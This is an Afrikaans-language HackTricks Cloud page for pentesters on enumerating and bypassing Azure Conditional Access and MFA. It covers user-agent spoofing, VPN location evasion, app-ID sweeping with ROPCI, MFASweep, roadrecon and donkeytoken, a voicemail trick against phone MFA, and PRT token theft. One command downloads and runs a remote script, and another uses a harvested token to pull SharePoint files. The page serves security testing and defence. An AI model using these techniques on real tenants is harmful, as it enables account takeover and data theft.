Az - Conditional Access Policies & MFA Bypass
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Azure Conditional Access policies is reëls wat in Microsoft Azure opgestel word om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere voorwaardes. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangskontroles toe te pas onder die regte omstandighede.
Conditional access policies bepaal basies Wie toegang kan hĂȘ tot Wat vanaf Waar en Hoe.
Hier is ân paar voorbeelde:
- Sign-In Risk Policy: Hierdie beleid kan ingestel word om multi-factor authentication (MFA) te vereis wanneer ân aanmeldingsrisiko opgespoor word. Byvoorbeeld, as ân gebruiker se aanmeldingsgedrag ongewoon is in vergelyking met hul normale patroon, soos aanmelding vanaf ân ander land, kan die stelsel vir addisionele verifikasie vra.
- Device Compliance Policy: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat op datum antivirus-sagteware het of ân bepaalde bedryfstelselweergawe gebruik.
Enumeration
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Conditional Access Policies Omseilings
Dit is moontlik dat ân conditional access policy sekere inligting kontroleer wat maklik gemanipuleer kan word, wat ân omseiling van die beleid moontlik maak. En as byvoorbeeld die beleid MFA konfigureer, sal die aanvaller dit kan omseil.
Wanneer ân conditional access policy gekonfigureer word, moet jy die users wat geraak word en die target resources (like all cloud apps) aandui.
Dit is ook nodig om die conditions wat die beleid sal trigger te konfigureer:
- Network: IP, IP ranges en geografiese liggings
- Kan omseil word deur ân VPN of Proxy te gebruik om na ân toegelate land te koppel of deur in te teken vanaf ân toegelate IP-adres
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: âAny deviceâ of kies Android, iOS, Windows phone, Windows, macOS, Linux
- As âAny deviceâ nie gesleep is nie maar al die ander opsies wel, is dit moontlik om dit te omseil deur ân ewekansige user-agent te gebruik wat nie aan daardie platforms verwant is nie
- Client apps: Opsies is âBrowserâ, âMobiles apps and desktop clientsâ, âExchange ActiveSync clientsâ en âOther clientsâ
- Om die login te omseil deur ân nie-geselekteerde opsie te gebruik
- Filter for devices: Dit is moontlik om ân reĂ«l te genereer wat verband hou met die gebruikte toestel
- Authentication flows: Opsies is âDevice code flowâ and âAuthentication transferâ
- Dit sal nie ân aanvaller raak nie, tensy hy probeer een van daardie protokolle misbruik in ân phishing-aksie om toegang tot die slagoffer se rekening te kry
Die moontlike results is: Block of Grant toegang met potensiĂ«le voorwaardes soos vereis MFA, toestel moet compliant weesâŠ
Device Platforms - Device Condition
Dit is moontlik om ân voorwaarde te stel gebaseer op die device platform (Android, iOS, Windows, macOSâŠ), maar dit is gebaseer op die user-agent, so dit is maklik om te omseil. Selfs al maak jy al die opsies MFA afdwingend, as jy ân user-agent gebruik wat nie herken word nie, sal jy die MFA of blokkering kan omseil:
.png)
Net om die browser die onbekende user-agent stuur te laat (soos Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) is genoeg om hierdie voorwaarde nie te aktiveer nie.
Jy kan die user agent manueel verander in die developer tools:
.png)
Of gebruik ân browser extension like this one.
Locations: Countries, IP ranges - Device Condition
As dit in die conditional policy ingestel is, kan ân aanvaller net ân VPN in die allowed country gebruik of probeer om toegang te kry vanaf ân allowed IP address om hierdie voorwaardes te omseil.
Cloud Apps
Dit is moontlik om conditional access policies te konfigureer om byvoorbeeld MFA te blokkeer of af te dwing wanneer ân gebruiker probeer toegang tot ân specific app:
.png)
Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy in enige application kan aanmeld.
Die tool AzureAppsSweep het tens of application IDs hardcoded en sal probeer om by hulle aan te meld; dit sal jou laat weet en selfs die token gee as dit suksesvol is.
In order to test specific application IDs in specific resources you could also use a tool such as:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Verder is dit ook moontlik om die aanmeldmetode te beskerm (bv. as jy vanuit die blaaier of vanaf ân desktop-toepassing probeer aanmeld). Die hulpmiddel Invoke-MFASweep voer ân paar kontroles uit om ook te probeer om hierdie beskermings te omseil.
Die hulpmiddel donkeytoken kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhou lyk.
Die hulpmiddel ROPCI kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFAâs of blokkades te omseil, maar hierdie hulpmiddel werk vanuit ân whitebox perspektief. Jy moet eers die lys van Apps wat in die tenant toegelaat is aflaai en dan sal dit probeer om by hulle aan te meld.
Ander Az MFA-omseilings
Beltoon
Een Azure MFA-opsie is om ân oproep na die geconfigureerde telefoonnommer te ontvang waarin die gebruiker gevra sal word om die karakter # te stuur.
Caution
Aangesien karakters net toone is, kan ân aanvaller die spraakpos-boodskap van die telefoonnommer kompromitteer, die boodskap as die toon van
#konfigureer en dan, wanneer MFA versoek word, seker maak dat die slagoffer se foon besig is (deur dit te bel) sodat die Azure-oproep na die spraakpos herlei word.
Voldoenende toestelle
Beleide vereis dikwels ân voldoenende toestel of MFA, so ân aanvaller kan ân voldoenende toestel registreer, ân PRT token kry en sodoende die MFA omseil.
Begin deur ân voldoenende toestel in Intune te registreer, en kry dan die PRT met:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Vind meer inligting oor hierdie soort aanval op die volgende bladsy:
Az - Primary Refresh Token (PRT)
Gereedskap
AzureAppsSweep
Hierdie skrip haal ân paar gebruikersinlogbewyse en kontroleer of dit by sekere toepassings kan aanmeld.
Dit is nuttig om te kyk of jy nie MFA benodig om by sekere toepassings aan te meld nie wat jy later dalk kan misbruik om voorregte te eskaleer.
roadrecon
Haal alle beleide op
roadrecon plugin policies
Invoke-MFASweep
MFASweep is ân PowerShell-skrip wat probeer om in te teken by verskeie Microsoft-dienste met ân verskafde stel credentials en sal probeer om te identifiseer of MFA aangeskakel is. Afhangend van hoe conditional access policies en ander multi-factor authentication-instellings gekonfigureer is, kan sommige protokolle uiteindelik as enkelfaktor agterbly. Dit het ook ân bykomende kontrole vir ADFS-konfigurasies en kan probeer om by die on-prem ADFS server in te teken indien dit opgespoor word.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en daarna APIs in verskeie produksie AAD-tenants te misbruik, waar AAD-kliënte geglo het dat MFA afgedwing was, maar ROPC-gebaseerde verifikasie geslaag het.
Tip
Jy moet toestemming hĂȘ om al die toepassings te lys sodat jy die lys van apps kan genereer om te brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token is ân stel funksies wat sekuriteitskonsultante help om Conditional Access Policies, toetse vir 2FA-enabled Microsoft portals, ens. te valideer.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Toets elke portaal of dit moontlik is om login sonder MFA:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Omdat die Azure portal nie beperk is nie, is dit moontlik om ân token vanaf die portal endpoint te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is. In hierdie geval is Sharepoint geĂŻdentifiseer, en ân token om toegang daartoe word aangevra:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Stel dat die token die toestemming Sites.Read.All (van Sharepoint) het â selfs al kan jy nie Sharepoint via die web bereik weens MFA nie, is dit moontlik om die token te gebruik om toegang tot die lĂȘers met die gegenereerde token te kry:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

